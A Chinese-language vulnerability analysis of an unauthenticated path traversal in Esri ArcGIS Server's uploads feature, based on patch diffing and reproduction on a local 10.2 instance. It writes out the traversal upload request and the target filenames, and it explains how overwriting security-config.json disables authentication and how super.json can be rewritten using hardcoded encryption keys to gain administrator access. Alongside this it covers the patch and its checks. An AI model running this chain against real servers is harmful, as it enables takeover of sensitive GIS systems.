CVE-2026-9181:Esri ArcGIS Server 路径遍历漏洞分析
背景
CVE-2026-9181 是 Esri ArcGIS Server 的一个路径遍历漏洞(CWE-22)。CVSS v3.1 评分 9.8,网络可达、无需认证、无需用户交互。官方公告描述的危害是攻击者可”覆盖敏感文件”并获得”完全的管理访问权限”。
ArcGIS Server 是 Esri 的 GIS(地理信息系统)服务端产品,负责发布地图服务、地理处理服务(GP 服务)等,广泛部署在能源、测绘、城市规划、交通等行业的内网和专网中,里面跑的地理数据、工程项目数据多是单位的敏感资产。
本次分析同时基于官方补丁 ArcGIS-120-S-SEC2026U2-Patch 和原版 12.0。用 jadx 反编译补丁 jar 定位新增的校验逻辑,再与原版 12.0 二进制做 diff,确认校验落在漏洞路径上;最后在 10.2 本地环境上实测复现,验证整条利用链。
分析环境如下:
| 项 | 内容 |
|---|---|
| 分析对象 | ArcGIS Server 12.0 补丁 / 10.2 本地环境 |
| 分析方法 | jadx 反编译 + 原版 12.0 二进制 diff + 10.2 实测复现 |
| 工具 | jadx、javap、Python |
| 补丁标识 | ArcGIS-120-S-SEC2026U2-Patch-linux(QI S-120-P-1454) |
补丁改动范围
从补丁入手,看它改了哪些文件、加了什么校验,再反推出漏洞点。补丁修改了 6 个文件,涉及 5 个 jar 加一个前端 js:
| 文件 | jar | 在修复中的角色 |
|---|---|---|
arcgis-common.jar |
lib/server | PathUtil.containsRelativePath(核心检测) |
arcgis-admin.jar |
lib/server | UploadsManager(漏洞点 + 入口校验)、FileExtensionWhitelist |
arcgis-rest-classes.jar |
lib/server | UploadsHandler$2/$3(REST 上传 handler 调用校验) |
admin-12.0.0.58905.jar |
webapps/arcgis#admin | admin 上传 servlet(ItemServlet 等) |
arcgis-rest-12.0.0.58905.jar |
webapps/arcgis#rest | REST UploadsHandler(转发到 JSP) |
system.js |
arcgis#admin/www/js | admin 页面 UI(上传清理配置),非核心 |
校验工具放在 common 层,调用点遍布 admin、rest、webapp 各层——补丁把校验接入了所有接收文件名的入口。补丁 jar 经 Zelix ZKM(ZKM21.0.0)混淆,但新增的安全工具类(PathUtil、FileExtensionWhitelist)和公开方法名保留了可读性,逆向可以由此切入。
摘要
- 漏洞类型: 路径遍历(CWE-22),位于
UploadsManager;客户端可控的filename被原样拼进FileOutputStream的写入路径,无任何规范化校验。 - 利用条件: 向任意开启了 uploads 能力的 service(
<serviceUrl>/uploads/upload)发送 multipart 上传请求,filename字段携带../遍历序列;upload操作本身不校验调用者权限。 - 影响范围: 在服务端文件系统可达范围内任意覆盖文件。覆盖
config-store中的 JSON 配置(security-config.json、super.json、token-config.json)可关闭站点认证并获取超管权限,全程无需执行服务端代码。 - 前置条件: 网络可达 REST 端口(6443/6080)或经 Web Adaptor 暴露的
/arcgis路径;至少存在一个当前权限可访问、且开启了 uploads 能力的 service;版本 ≤12.0 且未安装 SEC2026U2 补丁(10.x 已 EOL,不在补丁支持范围内)。 - 危害等级: CVSS v3.1 9.8;网络可达、无需认证、无需用户交互。
攻击入口
补丁在 UploadsManager 中新增了校验,漏洞点就在这个类。UploadsManager 管理的是 ArcGIS Server 的 Uploads 资源,用于临时存放上传的文件(发布服务时上传的 sd 包、GP 服务的输入数据等)。
Uploads 资源不挂在站点根上,而是挂在某个支持 Uploads 能力的 service 下。这里的关键是:漏洞入口不是某个具体的服务,而是”开了 uploads 能力”这个条件——只要一个 service 的 capabilities 里包含 uploads,它下面的 uploads 资源就走同一段 UploadsManager 代码,都能用来触发遍历。PublishingTools(GP 服务)是最常见的一个,但不是唯一;自发布的 GP 服务、SyncTools 等只要开了 uploads 能力同样可行。
正确基址挂在 service URL 下,形如:
1
/arcgis/rest/services/System/PublishingTools/GPServer/uploads
该资源支持的操作有:
<serviceUrl>/uploads/upload—— 上传文件<serviceUrl>/uploads/register—— 注册上传项<serviceUrl>/uploads/deleteItems—— 删除<serviceUrl>/uploads/info—— 查询信息
攻击链的入口是 upload 操作。请求格式为 multipart 表单:
1
2
3
4
5
6
7
8
POST /arcgis/rest/services/System/PublishingTools/GPServer/uploads/upload
Content-Type: multipart/form-data
--boundary
Content-Disposition: form-data; name="file"; filename="../../test.txt"
<任意内容>
--boundary--
关键在 filename 字段。这个名字会传入后端,被拼进服务端的文件写入路径。
找一个可用的入口靠枚举。流程是:先 GET /arcgis/rest/info?f=json 预检,拿到版本号、确认站点已初始化、看是否启用了令牌认证;再 GET /arcgis/rest/services?f=json 列出所有 service 和 folder(注意 System、Utilities、Hosted 这几个隐藏 folder 默认不在 folders 列表里,要主动探测);然后对每个候选 service 请求 <serviceUrl>/uploads?f=json,按响应区分:
| 响应特征 | 含义 |
|---|---|
| 正常返回 uploads 信息 | 该 service 支持 uploads 能力,是可用入口 |
capability is not supported / subcode: 51 |
未开启 uploads 能力,跳过 |
invalid url / 404 |
无 uploads 资源,跳过 |
token required / code: 499 |
资源存在但需认证,是有 token 后可用的候选 |
利用前提
入口明确了,再看这条入口在什么条件下可达。漏洞触发本身只要求一个 ../,但要让请求走到 uploadServiceItem 的 FileOutputStream,有几个前提必须同时满足。
| 前提 | 说明 | 默认情况 |
|---|---|---|
| 端点网络可达 | 攻击者能访问 ArcGIS Server 的 REST 端口(6443/6080)或经 Web Adaptor 暴露的 /arcgis 路径 |
内网/专网部署,常被视为”可信”而暴露面较大 |
| 存在支持 Uploads 的 service | Uploads 资源挂在某个开了 Uploads 能力的 service 下,典型是 GP 服务 | 默认 System/PublishingTools/GPServer 支持,且系统自带 |
| 该 service 可访问 | upload 操作本身不检查调用者权限,但若 service 在受令牌认证保护的 folder 内,需先拿到 token |
System folder 默认受令牌认证保护;未启用安全的站点无需任何凭证 |
| 版本未打补丁 | ≤12.0 且未安装 SEC2026U2 补丁 | 官方覆盖 11.1/11.3/11.4/11.5/12.0;10.x 已 EOL,不在补丁支持范围内 |
其中认证这条值得展开。upload 操作本身不校验调用者权限,真正影响可达性的是 service 所在 folder 有没有开启令牌认证。若 uploads 服务落在受保护区域(如默认的 System folder),需先拿到 token 才能访问该 service。但实际部署里门槛往往更低:不少站点为方便集成,把部分 GP service 所在 folder 设成匿名;只要存在任何一个支持匿名访问的上传服务,漏洞就可达。未启用站点安全(securityEnabled: false)的实例更直接,整个 REST 层无需凭证,所有 uploads 服务裸露。
至于找哪个 service 作入口,PublishingTools(藏在 System folder,系统自带,默认支持 uploads)是最稳的默认选择,但它不是唯一选项。实测中只要枚举到一个开了 uploads 能力且当前权限够得着的 service 就能用——自定义发布的 GP 服务、SyncTools 都可能满足。这也意味着打补丁时不能只盯 PublishingTools,任何开了 uploads 能力的入口都要覆盖到。
写入路径构造
入口可达后,看后端拿到 filename 之后做了什么。jadx 反编译 DiscoveryAdminUtil.uploadItem(REST upload 操作的后端桥接层),itemName 直接取自上传文件的文件名:
1
2
3
4
5
6
7
8
9
10
11
// DiscoveryAdminUtil.uploadItem —— REST upload 操作的后端入口
public static JSONObject uploadItem(folderName, serviceName, serviceType,
UploadedFile uploadedFile) {
Item item = new Item();
// itemName 来自上传文件的文件名,不是 POST 参数
item.setItemName(RUtil.getFilenameFromPath(uploadedFile.getClientFileName()));
...
FileInputStream fis = new FileInputStream(uploadedFile.getUploadedFilePath());
String itemID = uploadsMgr.uploadServiceItem(item, folderName, serviceName,
serviceType, fis, ...);
}
拿到 itemName 后,UploadsManager.uploadServiceItem 调用 m2209b 构造写入路径并写入文件。原版 12.0 的反编译代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 漏洞代码(原版 12.0,经 jadx 反编译)
private String m2209b(Item item, String folder, String service, String type) {
File file = new File(
uploads目录 + "/services/" +
ServiceNameBuilder.buildClassicFQServiceName(folder, service, type) + "/" +
item.getItemID()); // itemID = "i"+UUID,安全
file.mkdirs();
return file.getAbsolutePath() + "/" + item.getItemName();
// ↑ itemName(来自文件名)被拼入写入路径
}
public String uploadServiceItem(Item item, ..., InputStream inStream, ...) {
// 原版:无任何路径校验
String itemID = "i" + UUID.randomUUID();
item.setItemID(itemID);
String path = m2209b(item, ...); // 路径含 itemName
FileOutputStream fos = new FileOutputStream(path); // 写入,路径含遍历
FileUtil.copy(inStream, fos);
item.setPathOnServer(path);
item.setCommitted(true);
putPkg(item);
}
当文件名含路径遍历序列时,规范化后的路径会逃出上传目录:
1
2
3
4
filename = ../../../../etc/foo
path = <uploads>/services/<svc>/i<uuid>/../../../../etc/foo
→ 规范化 = /etc/foo ← 逃出上传目录
FileOutputStream("/etc/foo") → 任意位置写文件
itemID 由系统生成(i + UUID),攻击者不可控,这部分是安全的。问题出在 itemName——它来自客户端可控的 filename,却被原样拼进写入路径,没有任何规范化校验。
漏洞验证
静态分析只能说路径拼接有问题,要确认越界写入实际成立,最直接的办法是实测。在自有授权的 ArcGIS Server 10.2 本地环境上完成复现——10.2 已 EOL,官方不再提供补丁,但 jadx 反编译确认其 UploadsManager 漏洞代码与 12.0 一致,可稳定触发。
漏洞触发
向 PublishingTools 服务发送带遍历文件名的 upload 请求:
1
2
3
4
5
6
7
8
POST /arcgis/rest/services/System/PublishingTools/GPServer/uploads/upload
Content-Type: multipart/form-data
--boundary
Content-Disposition: form-data; name="file"; filename="../../arcgis_traversal_test.txt"
<任意内容>
--boundary--
实测响应:
1
{"success":true,"item":{"itemID":"i...","itemName":"../../arcgis_traversal_test.txt","committed":true}}
success: true 说明服务端接受了带 ../ 的文件名。
实际验证时,上传内容用一个无害的随机标记(如 ARCGIS_CVE2026_9181_TEST_<随机>),目的是在文件系统上事后识别,不覆盖真实文件。再配合正常文件名作基线,确认 upload 功能本身可用。判定一个目标是否受影响,看带 ../ 的文件名会得到哪类响应:
| upload 响应 | 判定 |
|---|---|
返回 itemID / success:true |
漏洞存在——遍历文件名未被拦截 |
RELATIVE_FOLDER_PATH_ERR |
已打补丁——containsRelativePath 拦截了 ../ |
error writing / error ... write(500) |
仍是漏洞——请求穿过了能力检查到达写入逻辑,只是目标路径不可写 |
token required / code:499 |
需先拿 token,不能直接判定 |
capability is not supported / subcode:51 |
该 service 没开 uploads 能力,换一个 |
第三种容易被误判成”安全”——服务端返回 500,看着像出错,其实是遍历已经发生、FileOutputStream 尝试写越界路径失败,恰好说明漏洞存在。
文件越界落地
服务端接受了遍历文件名,但文件到底落到了哪里,得到文件系统上取证。结果如下:
1
2
预期路径: <uploads根>/services/System/PublishingTools.GPServer/<itemID>/../../arcgis_traversal_test.txt
实际落地: <uploads根>/services/System/arcgis_traversal_test.txt ← 越出 itemID 目录,到达上级
<uploads根> = arcgisserver/directories/arcgissystem/arcgisuploads/。写入路径是 <uploads根>/services/<服务全名>/<itemID>/<itemName>,从 <itemID> 这一级往上数,要回退 services → arcgisuploads → arcgissystem → directories → arcgisserver 才能到达站点根 arcgisserver/——这就是为什么遍历深度取 7 级 ../。越界写入成立。
覆盖配置关闭认证
写入路径可控后,价值最高的目标是 config-store。arcgisserver/config-store/ 与 directories/ 同级,可经遍历写入。security-config.json 控制整个站点的认证开关,实测覆盖它:
1
2
3
filename = ../../../../../../../config-store/security/security-config.json
内容 = {"securityEnabled": false, ...其它字段保持}
→ 响应 success:true → 热加载 → REST 层令牌认证立即关闭
这里有个细节:覆盖时不能只写 {"securityEnabled": false},要把 authenticationMode、authenticationTier、userStoreConfig、roleStoreConfig 等字段按原结构补齐,只把 securityEnabled 改成 false。否则配置文件结构不完整,服务热加载时可能报错而不是直接生效。覆盖前先把原文件结构摸清,再据此构造 payload。
覆盖前,System folder 受令牌认证保护,请求返回 499 Token Required;覆盖后,同一个请求直接返回数据,PublishingTools、CachingTools、SyncTools 等全部系统服务无需认证即可访问。
扩展名白名单与进一步危害
覆盖配置能关认证,但能不能更进一步,直接写个 Webshell 拿 shell?不行。upload 有原有的文件扩展名白名单(shouldAllowUpload,subcode 52),挡住了 .jsp/.exe 等可执行类型。但白名单允许 .json/.xml/.csv/.zip/.txt,恰好覆盖 config-store 里所有配置文件的格式。
写入路径可控后,config-store 下可达的高价值目标汇总:
| 目标文件 | 危害 | 状态 |
|---|---|---|
security-config.json |
改 securityEnabled:false → 关闭认证 |
实测成功 |
super/super.json |
超管凭证,密码加密但密钥全部硬编码 → 改密码登录 | 实测成功 |
token-config.json |
含 sharedKey → 伪造任意 token |
可达 |
services/<svc>/*.json |
篡改服务配置、capabilities | 可达 |
其中 super.json 的超管密码经过加密,但加密口令、salt、迭代次数全部硬编码在代码里,跨 10.2 / 12.0 版本字节级一致,与站点密钥文件无关。实测可解出原密码、加密新密码覆盖 super.json,再用 generateToken 接口登录拿到 admin token,全程无需读取实例任何密钥文件。这条链不需要执行服务端代码,覆盖配置就够了。
补丁修复
漏洞的触发和危害都验证完了,最后看补丁怎么修。补丁在 UploadsManager 的 5 个方法入口新增 d(itemName) 校验,调用 PathUtil.containsRelativePath。与原版 12.0 对比,原版这 5 处完全没有相对路径检查(containsRelativePath 引用计数为 0),只有扩展名白名单 assertValidExtension。
| 方法 | 作用 | 原版有无校验 |
|---|---|---|
registerItem |
注册上传项 | 仅扩展名 |
registerServiceItem |
REST register 后端 | 仅扩展名 |
uploadItem(Item, url, ...) |
从 URL 上传 | 仅扩展名 |
uploadItem(Item, InputStream) |
流上传 | 仅扩展名 |
uploadServiceItem |
服务项上传(REST upload 后端) | 仅扩展名 |
修复后的 uploadServiceItem:
1
2
3
4
5
6
public String uploadServiceItem(Item item, ..., InputStream inStream, ...) {
m2215d(item.getItemName()); // 新增:containsRelativePath 校验
this.a.assertValidExtension(item.getItemName()); // 原有:扩展名白名单
String itemID = "i" + UUID.randomUUID();
...
}
路径遍历检测
新增的 UploadsManager.d(String itemName) 调用 PathUtil.containsRelativePath:
1
2
3
4
5
6
private void d(String itemName) throws AdminException {
if (PathUtil.containsRelativePath(itemName)) {
logger.log(Level.WARNING, AgsadminLogCode.RELATIVE_FOLDER_PATH_ERR);
throw new AdminException(RELATIVE_FOLDER_PATH_ERR.message());
}
}
PathUtil.containsRelativePath 的检测逻辑覆盖 Windows 和 Unix 两种分隔符:
1
2
3
4
5
6
7
8
containsRelativePath(String s):
for sep in ["\\", "/"]: # 两种分隔符都拆
segments = s.split(sep)
for seg in segments:
seg = seg.trim()
if seg.equals("..") or seg.equals("."): # 任一段是 .. 或 .
return true # → 判定含相对路径,拒绝
return false
只要 itemName 中出现 .. 或 . 作为独立路径段(无论用 \ 还是 / 分隔),一律拒绝。这封堵了 ../、..\、./ 等常见 payload。
containsRelativePath 方法在原版 jar 中已经存在(并非补丁新增)。补丁的改动是在 UploadsManager 里新增 d(String) 方法调用它,并在 5 个入口接入,把已有的检测能力接到了漏洞入口。
扩展名白名单
补丁还新增了 FileExtensionWhitelist,作为路径校验之外的第二层限制:
1
2
3
4
5
6
7
8
public void assertValidExtension(String itemName) throws AdminException {
int dot = itemName.lastIndexOf('.');
String ext = itemName.substring(dot + 1).toLowerCase();
HashSet<String> allowed = getExtListFromSystem(sysPropKey, defaults);
if (!allowed.contains(ext)) {
throw new AdminException(ITEMS_BLOCKED_BY_ADMIN.message());
}
}
路径校验挡遍历,扩展名白名单限制可操作的文件类型,两层叠加缩小可被覆盖的文件范围。
总结
CVE-2026-9181 是一个路径拼接漏洞:服务端把客户端可控的 filename 原样拼进 FileOutputStream 的写入路径,没有任何规范化校验,一个 ../ 就能把上传内容写到上传目录之外的位置。
利用的难点不在触发,而在选对目标。FileOutputStream 覆盖的是文件,不是执行代码,加上扩展名白名单挡住了 .jsp/.exe,无法直接落 Webshell。但 config-store 里全是 .json 配置,且 .json 恰好在白名单内——覆盖 security-config.json 关掉认证、覆盖 super.json 改超管密码,两条路都能拿到站点管理权,且都不需要执行服务端代码。加密参数全部硬编码,让这条链完全自包含。
补丁把校验接入了所有 5 个文件名入口。残留风险来自这个设计:校验在入口前置,拼接逻辑本身没改,未来新增的上传入口如果遗漏调用 containsRelativePath,同类问题会重现。
10.x 已 EOL,官方不再提供补丁,长期暴露的 10.x 实例仍可被稳定利用。






